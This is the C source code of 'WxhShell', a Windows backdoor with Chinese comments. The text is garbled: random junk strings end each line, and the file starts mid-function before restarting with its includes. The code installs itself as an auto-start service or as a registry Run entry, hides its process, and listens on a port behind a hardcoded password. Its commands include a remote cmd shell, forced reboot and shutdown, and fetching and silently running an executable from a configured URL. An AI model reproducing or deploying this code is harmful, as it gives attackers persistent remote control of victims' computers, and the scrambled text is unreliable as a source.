    if(Boot(SHUTDOWN)) 0c K{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *HEuorl  
    else { >D201&*G%  
    closesocket(wsh); L|bwZ,M=}?  
    ExitThread(0); Z R/#V7Pj  
    } !,V{zTR  
    break; Y%`xDI  
    } Hx ,0zS%>  
  // 获取shell Vz6Qxd{m3  
  case 's': { ,U(1NK8o  
    CmdShell(wsh); ME'|saP  
    closesocket(wsh); k'0Pi6  
    ExitThread(0); Xy5e5K  
    break; 8Q_SRwN  
  } R<OI1,..r  
  // 退出 sc,Xw:YO  
  case 'x': { o=0]el^A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =s<( P1|"  
    CloseIt(wsh); {e|[%reSkg  
    break; Z+@2"%W  
    } E Cyyl  
  // 离开 pb~pN  
  case 'q': { dAy?EO0\7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bV,}Pp+/"!  
    closesocket(wsh); OpHsob~  
    WSACleanup(); fW?o@vlO  
    exit(1); h: 9Zt0,  
    break; nqLA}u4IM  
        } Z?\>JM >;  
  } jy'13G/b\  
  } ocs+d\  
i>(e}<i  
  // 提示信息 thhwN A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (DI>5.x"  
} ~c\e'&sc;  
  } vh$%9ed  
SJHr_bawd  
  return; <)3u6Vky9  
} ?"g!  
b9l;a+]d  
// shell模块句柄 5k.oW=  
int CmdShell(SOCKET sock) HPZ}*m'  
{ _fKou2$yz  
STARTUPINFO si; 2 O%`G+\)  
ZeroMemory(&si,sizeof(si)); "yS _s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dUhY\v oQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3U0`,c\ao*  
PROCESS_INFORMATION ProcessInfo; [C'JH//q*t  
char cmdline[]="cmd"; ?U2<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9?SZNL['V  
  return 0; U[ 0=L`0e  
} va0{>Dc+  
jEZMUqGY!  
// 自身启动模式 Rd#WMo2Xd  
int StartFromService(void) ojan Bg   
{ Ys\Wj%6A  
typedef struct Rx}$0c0  
{ '!eKTC>  
  DWORD ExitStatus; oaIi2=Tf  
  DWORD PebBaseAddress; }n>p4W"OM  
  DWORD AffinityMask; H["`Mn7j2  
  DWORD BasePriority; MB~=f[cUnd  
  ULONG UniqueProcessId;  A|<jX}  
  ULONG InheritedFromUniqueProcessId; C@'h<[v`1v  
}   PROCESS_BASIC_INFORMATION; N u<_}  
$adbCY \  
PROCNTQSIP NtQueryInformationProcess; 6V7B;tB  
%yv<y+yP~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]d! UJ&<?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qm"rY\:  
Q|#W#LV,K  
  HANDLE             hProcess; q!|*oUW  
  PROCESS_BASIC_INFORMATION pbi; $}!p+$  
zN^n]N_?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +nJgl8'^y  
  if(NULL == hInst ) return 0; 2h5nMI]'  
+lHjC$   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t%E!o0+8Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iT2B'QI=<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hHV";bk  
e,W%uH>X  
  if (!NtQueryInformationProcess) return 0; hpO`]  
%H]ptH5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ur:3W6ZKl  
  if(!hProcess) return 0; 5\]Sv]s)R  
pHLB= r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hEKf6#  
Z{]0jhUyNh  
  CloseHandle(hProcess); 7$CBx/X50)  
HTX?,C_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]~'5\58sP  
if(hProcess==NULL) return 0; XAF+0 x!  
Uq^#riq  
HMODULE hMod; jIC_[  
char procName[255]; t gI{`jS%  
unsigned long cbNeeded; sn obT Q  
X-K=!pET  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9\_eK,*B  
|)(VsVG&  
  CloseHandle(hProcess); E&2OD [iX  
S4Y&  
if(strstr(procName,"services")) return 1; // 以服务启动 l]Ax:Z  
}fb#G<3  
  return 0; // 注册表启动 +BETF;0D  
} Lr$go6s  
dfKF%27  
// 主模块 ,!#*GZ.ix  
int StartWxhshell(LPSTR lpCmdLine) C~2F9Pg  
{ c;Pe/d  
  SOCKET wsl; J^SdH&%Z  
BOOL val=TRUE; <>y;.@}Q  
  int port=0; 6dabU*  
  struct sockaddr_in door; ,|y:" s  
]zE;Tw.S  
  if(wscfg.ws_autoins) Install(); _aGOb;h  
%b&". mN  
port=atoi(lpCmdLine); uki#/GzaO  
JEXy%hl  
if(port<=0) port=wscfg.ws_port; Qu?R8+"KS  
e6@=wnoX u  
  WSADATA data; r e/@D@%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {C=NUK%?  
] o*#t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BLfTsNzmt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *scVJ  
  door.sin_family = AF_INET; i2E )P x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ehzM) uK  
  door.sin_port = htons(port); "c3Grfoz  
nw-xSS{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }\tdcTMgS  
closesocket(wsl); TSTl+W  
return 1; N60rgSzI  
} 8ja$g,  
sF!($k;!  
  if(listen(wsl,2) == INVALID_SOCKET) { Sj]T   
closesocket(wsl); !\nBh  
return 1; 6G1@smP  
} xHL( !P F  
  Wxhshell(wsl); d"}k! 0m  
  WSACleanup(); -G}[AkmS  
e@Fo^#ImDx  
return 0; -~s!73pDY  
Rp.Sj{<2  
} zL$@`Eh-KP  
~zHjMo2  
// 以NT服务方式启动 \Jx04[=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N4^-`  
{ [B+yyBtx  
DWORD   status = 0; QQ%D8$k"  
  DWORD   specificError = 0xfffffff; ~HTmO;HNf"  
10)jsA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bp_$.!Qy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tjIl-IQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a|%J=k>>  
  serviceStatus.dwWin32ExitCode     = 0; 9>l*lCA  
  serviceStatus.dwServiceSpecificExitCode = 0; Ov 5"  
  serviceStatus.dwCheckPoint       = 0; +]*zlE\N`  
  serviceStatus.dwWaitHint       = 0; ozmrw\_}[  
[$qyF|/K`n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Li!Vx1p;u.  
  if (hServiceStatusHandle==0) return; 1n=lqn/  
o|>'h$  
status = GetLastError(); hBS.a6u1'd  
  if (status!=NO_ERROR) AP68V  
{ -m)X]]~C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sPr~=,F  
    serviceStatus.dwCheckPoint       = 0; \n$u)Xj~6^  
    serviceStatus.dwWaitHint       = 0; W#^2#sjO  
    serviceStatus.dwWin32ExitCode     = status; kh {p%<r{  
    serviceStatus.dwServiceSpecificExitCode = specificError; Id_2PkIN$~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lpQSup  
    return; LCZ\4g05  
  } 2Z-ljD&  
uD}2<$PP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fmQ_P.c  
  serviceStatus.dwCheckPoint       = 0; BcL{se9<  
  serviceStatus.dwWaitHint       = 0; R9'b-5q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jy)KqdkX+  
} D ~stM  
`7[EKOJ3g  
// 处理NT服务事件,比如:启动、停止 5"CZh.J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w1hPc!I  
{ kw#;w=\>R{  
switch(fdwControl) D>HOn^   
{ b<a4'M  
case SERVICE_CONTROL_STOP: gnFr}L&j  
  serviceStatus.dwWin32ExitCode = 0; Zo|.1pN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gYNjzew'  
  serviceStatus.dwCheckPoint   = 0; 9`1O"R/  
  serviceStatus.dwWaitHint     = 0; 5 xppKt  
  { )[PtaPWeT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); isQ[ Gc!8  
  } W~zbm]  
  return; {1IfU  
case SERVICE_CONTROL_PAUSE: ur3(HL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [NaN>BZ?  
  break; !qv ea,vw  
case SERVICE_CONTROL_CONTINUE: 7({]x*o*%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hc>m;[M)l  
  break; Q~OxH'>>(  
case SERVICE_CONTROL_INTERROGATE: qCljo5Tq'  
  break; U@HK+C"M|  
}; G`n_YH084  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <L"GqNuRQ  
} A;*d}Xe&J  
8kU! 8^mH  
// 标准应用程序主函数 ox(j^x]NC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .ni_p 6!  
{ -&3hEv5  
-n=^U  
// 获取操作系统版本 SSPHhAeH8  
OsIsNt=GetOsVer(); }\%Fi/6Z{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s!?`T1L  
1`(tf6op  
  // 从命令行安装 6kNrYom  
  if(strpbrk(lpCmdLine,"iI")) Install(); EH256f(&  
j/fzzI0@  
  // 下载执行文件 `+o 2DA)#(  
if(wscfg.ws_downexe) { l5zS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eO?p*"p"F  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4Uphfzv3D  
} znxnL,-  
YE|SKx@  
if(!OsIsNt) { F({HP)9b  
// 如果时win9x,隐藏进程并且设置为注册表启动 E~]R2!9  
HideProc(); ;A]@4*q  
StartWxhshell(lpCmdLine); {@+Ty]e  
} Yzh"1|O  
else 0\[Chja  
  if(StartFromService()) E^.nc~  
  // 以服务方式启动 .!f$ \1l  
  StartServiceCtrlDispatcher(DispatchTable); `8AR_7i  
else hp#W 9@NR  
  // 普通方式启动 8n'B6hi  
  StartWxhshell(lpCmdLine); :c8&N-`  
l:j4Ft 8  
return 0; Pb1*\+  
} r[4tPk  
U*22h` S  
77\] B  
\/: {)T~  
=========================================== lu<xv  
{so `/EWa  
ldiD2 Q  
bn!HUM,  
gDQ1?N'8{t  
d-k%{eBV  
" c(!6^qk]!`  
n 2)@S0{  
#include <stdio.h> Tk5W'p|6f  
#include <string.h> R)QC)U  
#include <windows.h> @\f^0^G  
#include <winsock2.h> - `p4-J!Fy  
#include <winsvc.h> \l9qt5rS  
#include <urlmon.h> IIn"=g=9  
xlA$:M&  
#pragma comment (lib, "Ws2_32.lib") uI1 q>[  
#pragma comment (lib, "urlmon.lib") ,N!o  
9s6U}a'c  
#define MAX_USER   100 // 最大客户端连接数 B56L1^ 7  
#define BUF_SOCK   200 // sock buffer (O.d>  
#define KEY_BUFF   255 // 输入 buffer z([ v%zf  
>zXsNeGQR  
#define REBOOT     0   // 重启 ]pH-2_  
#define SHUTDOWN   1   // 关机 q,93nhs "  
NT e5  
#define DEF_PORT   5000 // 监听端口 5N/%v&1  
D ,o}el  
#define REG_LEN     16   // 注册表键长度 5h Q E4/hH  
#define SVC_LEN     80   // NT服务名长度 TFkZpe;  
A Q'J9  
// 从dll定义API (9Ux{@$o[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _j< K=){  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G 8g<>d{j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ycDCB(D}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ??M"6k  
j4|N- :  
// wxhshell配置信息 Kx;eaz:gx  
struct WSCFG { eHn7iuS8  
  int ws_port;         // 监听端口 <vONmE a  
  char ws_passstr[REG_LEN]; // 口令 __|+w<]  
  int ws_autoins;       // 安装标记, 1=yes 0=no .QZaGw=,z  
  char ws_regname[REG_LEN]; // 注册表键名 _qw?@478  
  char ws_svcname[REG_LEN]; // 服务名 #xX5,r0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B0dQ@Hq*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a&c6.#E{y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +l9!Fl{MK\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \s=t|Wpu2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C71qPb|$R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E4|jOz^j4\  
w5Ay)lz  
}; BD_Iz A<wK  
NQ(1   
// default Wxhshell configuration GP?M!C,/}k  
struct WSCFG wscfg={DEF_PORT, DU5c=rxW  
    "xuhuanlingzhe", [AYOYENp-  
    1, k1{K*O$e  
    "Wxhshell", [lWQ'DZ  
    "Wxhshell", lDYyqG4  
            "WxhShell Service", VyzS^AH K  
    "Wrsky Windows CmdShell Service", e4HA7=z  
    "Please Input Your Password: ", =5/9%P8j9  
  1, 8<8:+M}  
  "http://www.wrsky.com/wxhshell.exe", Y2n!>[[.  
  "Wxhshell.exe" BK)$'AqO  
    }; g;qx">xJ`o  
DW5Y@;[  
// 消息定义模块 [|(N_[E|6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YKH\rN6X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QdL`|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o0ifp=V y  
char *msg_ws_ext="\n\rExit."; U+:m4a  
char *msg_ws_end="\n\rQuit."; _+K_5IO4  
char *msg_ws_boot="\n\rReboot..."; }1Gv)l7  
char *msg_ws_poff="\n\rShutdown..."; Cd,jDPrw  
char *msg_ws_down="\n\rSave to "; FbS|~Rp~  
gW>uR3Ca4  
char *msg_ws_err="\n\rErr!";  gQ'zW  
char *msg_ws_ok="\n\rOK!"; oU056  
g!lWu[d  
char ExeFile[MAX_PATH]; $Tu61zq  
int nUser = 0; i V'k}rXC  
HANDLE handles[MAX_USER]; N/ %WsQp  
int OsIsNt; /178A;J y  
H*ow\ Ct  
SERVICE_STATUS       serviceStatus; Nl^;A> <u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B@&4i?yJ  
C G0 M  
// 函数声明 !W5 (  
int Install(void); q U%/W|LY  
int Uninstall(void); r^FhTzA=1  
int DownloadFile(char *sURL, SOCKET wsh); [fAV5U  
int Boot(int flag); GFeQ%l`7F  
void HideProc(void); Qw-~>d  
int GetOsVer(void); QEz? w}b*  
int Wxhshell(SOCKET wsl); YB(Q\hT~\;  
void TalkWithClient(void *cs); p1Jh0o8  
int CmdShell(SOCKET sock); b\yXbyjZ3.  
int StartFromService(void); 06O2:5zF  
int StartWxhshell(LPSTR lpCmdLine); JMrEFk  
SxOC1+Oy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TW)c#P43K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (s.0P O`  
c6h.iBJ'  
// 数据结构和表定义 QRHu 3w  
SERVICE_TABLE_ENTRY DispatchTable[] = {:6r;TB  
{ ,}3 'I [  
{wscfg.ws_svcname, NTServiceMain}, W42 iu"@  
{NULL, NULL} S2HcG 1J  
}; )c8rz[i  
fmU {  
// 自我安装 /]K^ rw[  
int Install(void) a1EOJ^}0  
{ &"yx<&c}  
  char svExeFile[MAX_PATH]; y0sR6TY)f  
  HKEY key;  Uwf +  
  strcpy(svExeFile,ExeFile); yv t.  
"W6uV!  
// 如果是win9x系统,修改注册表设为自启动 OLyf8&AU@  
if(!OsIsNt) { gG0!C))8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BXtCSfY $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Jp:x"w  
  RegCloseKey(key); K"|l@Q[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A)bWcB}U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y<N5# );f  
  RegCloseKey(key); X <f8,n  
  return 0; [xSF6  
    } B Wk/DVue  
  } zr-*$1eu  
} tXNm$Cq.|  
else { !%CWZZ 6u  
e7 ^mmm  
// 如果是NT以上系统,安装为系统服务 ~xkeuU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )eUh=eW  
if (schSCManager!=0) &XIt5<$~R  
{ [w0QZyUn  
  SC_HANDLE schService = CreateService |XQIfW]A  
  ( 'GNK"XA^  
  schSCManager, +ieY:H[  
  wscfg.ws_svcname, @:+8?qcP  
  wscfg.ws_svcdisp, 6n,i0W  
  SERVICE_ALL_ACCESS, |:nn>E}ZA/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cz >V8  
  SERVICE_AUTO_START, /)YNs7gR  
  SERVICE_ERROR_NORMAL, , ]bhyp  
  svExeFile, :ci5r;^  
  NULL, \hTm)-FP  
  NULL, &5\iM^  
  NULL, dG@%jD)  
  NULL, %RTBV9LIXr  
  NULL <^&ehy:7y  
  ); z06r6  
  if (schService!=0) 7I&&bWB  
  { s2h@~y  
  CloseServiceHandle(schService); J[l7di5  
  CloseServiceHandle(schSCManager); qX/y5F`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v[ . cd*b  
  strcat(svExeFile,wscfg.ws_svcname); ]OM"ZG/^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c/D+|X*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {j9{n  
  RegCloseKey(key); 9+j0q%  
  return 0; <^VJy5>  
    } PC~Y8,A|.t  
  } bGN:=Y'  
  CloseServiceHandle(schSCManager); 6Y^23W F  
} nr95YSH  
} ,c;Kzp>e  
H3z: ZTI  
return 1; {x|[p_?  
} 8m-U){r!U^  
\HqNAE2T  
// 自我卸载 t)~"4]{*}D  
int Uninstall(void) @@R7p  
{ ,BH@j%Jmy  
  HKEY key; z6U\axO6  
IbT=8l,Li  
if(!OsIsNt) { s]HOGJJz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P@Hs`=  
  RegDeleteValue(key,wscfg.ws_regname); "i nd$Z`c  
  RegCloseKey(key); V[RF </2T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X$HIVxyq2  
  RegDeleteValue(key,wscfg.ws_regname); MX$0Op  
  RegCloseKey(key); !=pn77`g >  
  return 0; $|L Sx  
  } ynq}76 H0k  
} N@2dA*T,  
} \z>fb%YW  
else { `nUXDmdwzO  
),0g~'I~D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d?ex,f.  
if (schSCManager!=0) gR&Q3jlIV  
{ SzAJ2:qhl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ! +a. Ei  
  if (schService!=0) y=fx%~<> 8  
  { G/k2Pe{SL  
  if(DeleteService(schService)!=0) { vleS2-]|  
  CloseServiceHandle(schService); XeW<B0~  
  CloseServiceHandle(schSCManager); !<j'Ea  
  return 0; )Lk639r  
  } QiQ_bB!\  
  CloseServiceHandle(schService); B\=L3eL<D  
  } UxbjA- U[  
  CloseServiceHandle(schSCManager); 6@Y_*4$|  
} VF&(8X\   
} ojafy}  
Z~AO0zUKY  
return 1; AS!?q  
} n4s+>|\M  
./- 5R|fN  
// 从指定url下载文件 P9GN}GN%v  
int DownloadFile(char *sURL, SOCKET wsh) -C;^ 3R[ O  
{ *M[?bk~~  
  HRESULT hr; aI%g2 q0f  
char seps[]= "/"; :{PJI,  
char *token; r(6Y*<  
char *file; 6w*dKInG[-  
char myURL[MAX_PATH]; x/NfZ5e0X  
char myFILE[MAX_PATH]; O(#)m>A  
&T+atL`N  
strcpy(myURL,sURL); %D UH@j  
  token=strtok(myURL,seps); Z 6t56"u  
  while(token!=NULL) "fQ~uzg="  
  { Pnk5mK$  
    file=token; yg `j-9[8  
  token=strtok(NULL,seps); {}>0e:51  
  } f~t:L, \,  
^?-:'<4q$  
GetCurrentDirectory(MAX_PATH,myFILE); $I!XSz"/e  
strcat(myFILE, "\\"); _ q(ko/T  
strcat(myFILE, file); j:^#rFD4?  
  send(wsh,myFILE,strlen(myFILE),0); 9`T)@Uj2n  
send(wsh,"...",3,0); HD@$t)mn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )YYf1o[+  
  if(hr==S_OK) )#EGTRdo  
return 0; g%ndvdb m  
else yd^ {tQi  
return 1; + @A  
Rvkedb  
} ^T( .k=  
T%x}Y#U'`  
// 系统电源模块 |Z|-q"Rf  
int Boot(int flag) |+"<wEKI  
{ T]R|qlZ  
  HANDLE hToken; 5/q}`T9i%7  
  TOKEN_PRIVILEGES tkp; cCSs  
5Iy|BRU(%  
  if(OsIsNt) { 2n,*Nd`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~De"?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +s"hqm  
    tkp.PrivilegeCount = 1; ,QOG!T4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +cD<:"L'g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aFc1|.Nm  
if(flag==REBOOT) { .4_o>D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A|CmlAW~^  
  return 0; *]. 7dec/  
} sWQfr$^A  
else { `uq8G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A ;G;^s  
  return 0; @d^Grm8E  
} F;>V>" edl  
  } u~r=)His  
  else { K#l:wH _  
if(flag==REBOOT) { _ ?TN;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gMv.V{vD  
  return 0; )}''L{k-  
} ?RX3MUN  
else { #c!*</  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b[__1E9v'  
  return 0; %&$Tz1"  
} !5wIIS:FT  
} ' WMh8)  
yID 164&r  
return 1; 1da@3xaF  
} 3ovWwZ8&  
];}Wfl  
// win9x进程隐藏模块 Q;MT"=RW  
void HideProc(void) t$ +?6E  
{ @M<|:Z %.@  
yTyj'-4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cO-7ke  
  if ( hKernel != NULL )  |$+3a  
  { 9Q -HeXvR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8{Q<N%Jnu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E^Y#&skXp3  
    FreeLibrary(hKernel); #:%&x@@c3P  
  } {qDSPo  
9 ^o-EC!_  
return; VJ84?b{c W  
} pb^i^tA+A  
m9)p-1y@5  
// 获取操作系统版本 6f;fx}y  
int GetOsVer(void) 4)E_0.C  
{ #w;v0&p  
  OSVERSIONINFO winfo; rI{=WPI&WU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FRcy`)  
  GetVersionEx(&winfo); Twh!X*uQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @)IjNplYkw  
  return 1; r}Ohkr  
  else J%8(kWQ|  
  return 0; Us%T;gW  
} o-;E>N7t  
K7$x<5+)  
// 客户端句柄模块 yZd +^QN  
int Wxhshell(SOCKET wsl) H!vax)%-\  
{ xE1 eT,  
  SOCKET wsh; |yvQ[U~PQ  
  struct sockaddr_in client; #XK2Ien)Z  
  DWORD myID; M-\Y"]sW  
]5BX :%  
  while(nUser<MAX_USER) sPd Gw~{  
{ ,"2s`YC  
  int nSize=sizeof(client); siXr;/n"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {2qFY 5H  
  if(wsh==INVALID_SOCKET) return 1; BMhy=+\  
[vge56h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U -Y03  
if(handles[nUser]==0) AUeu1(  
  closesocket(wsh); <m:m &I 8@  
else 7}1~%:6  
  nUser++; ;sfb 4x4  
  } Ok{*fa.PK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >O1[:%Z1  
g$n7CXoT  
  return 0; ^F>cp ,x  
} k- Q%.o  
ot @|!V  
// 关闭 socket 4B=2>k  
void CloseIt(SOCKET wsh) sfLMk E  
{ 4f@o mAM  
closesocket(wsh); ^<;V]cY`  
nUser--; ,_|]Ufr!a  
ExitThread(0); hp8%.V$f  
} f6|KN+.  
Vw[6t>`  
// 客户端请求句柄 gHhh>FFAq  
void TalkWithClient(void *cs) Tfh 2.  
{ FE" y\2}  
- *F(7$  
  SOCKET wsh=(SOCKET)cs; )64@2 ~4y  
  char pwd[SVC_LEN]; BeCWa>54i  
  char cmd[KEY_BUFF]; ^ K|;~}P  
char chr[1]; >Wh}f3C  
int i,j; "mX\&%i6\p  
~SQ?BoCI[  
  while (nUser < MAX_USER) { N03G>fZ  
R,)}>X|<  
if(wscfg.ws_passstr) { Xm+8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'iy*^A `Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0$_oT;{8  
  //ZeroMemory(pwd,KEY_BUFF); YiYV>gaf"H  
      i=0; vK(i 9>;7  
  while(i<SVC_LEN) { lW<PoT  
|4 v0:ETb$  
  // 设置超时 AGH|"EWG  
  fd_set FdRead; +$X#q8j06  
  struct timeval TimeOut; A3vUPWdDk  
  FD_ZERO(&FdRead); tcI}Ca>u  
  FD_SET(wsh,&FdRead); x2@U.r"zo  
  TimeOut.tv_sec=8; 0_k '.5l%  
  TimeOut.tv_usec=0; &GNxo$CG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v4?x.I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jwj%_<  
np%\&CVhN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y+!+ D[x  
  pwd=chr[0]; JBZUv  
  if(chr[0]==0xd || chr[0]==0xa) { *J$=.fF1  
  pwd=0; $=5=NuX  
  break; BQBeo&n6  
  } RE}?5XHb  
  i++; : m)   
    } Ib|Rf;J~-  
CL)lq)1(  
  // 如果是非法用户,关闭 socket DKfE.p)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DvPlV q~  
} h8 'v d3  
x&^_c0fn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tBNoI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [v$0[IuY,  
a,3j,(3  
while(1) { cHcmgW\4  
T_X6Ulp  
  ZeroMemory(cmd,KEY_BUFF); mK[)mC _8  
Qhs/E`k4  
      // 自动支持客户端 telnet标准   bfA=3S"0  
  j=0; _FXZm50\g{  
  while(j<KEY_BUFF) {  ]E_h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <WjF*x p  
  cmd[j]=chr[0]; Vm5c+;  
  if(chr[0]==0xa || chr[0]==0xd) { Qd=^S^}(  
  cmd[j]=0; V?Z.\~  
  break; OS4q5;1#  
  } # S}Z8  
  j++; [~kdPk  
    } 48jVRo  
N-jTc?mT~&  
  // 下载文件 "8 ~:[G#  
  if(strstr(cmd,"http://")) { Glxuz0]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N;Dni#tQ`  
  if(DownloadFile(cmd,wsh)) z^_*&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Q+ (LBP  
  else s"9`s_p`d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b3S.-W{p.  
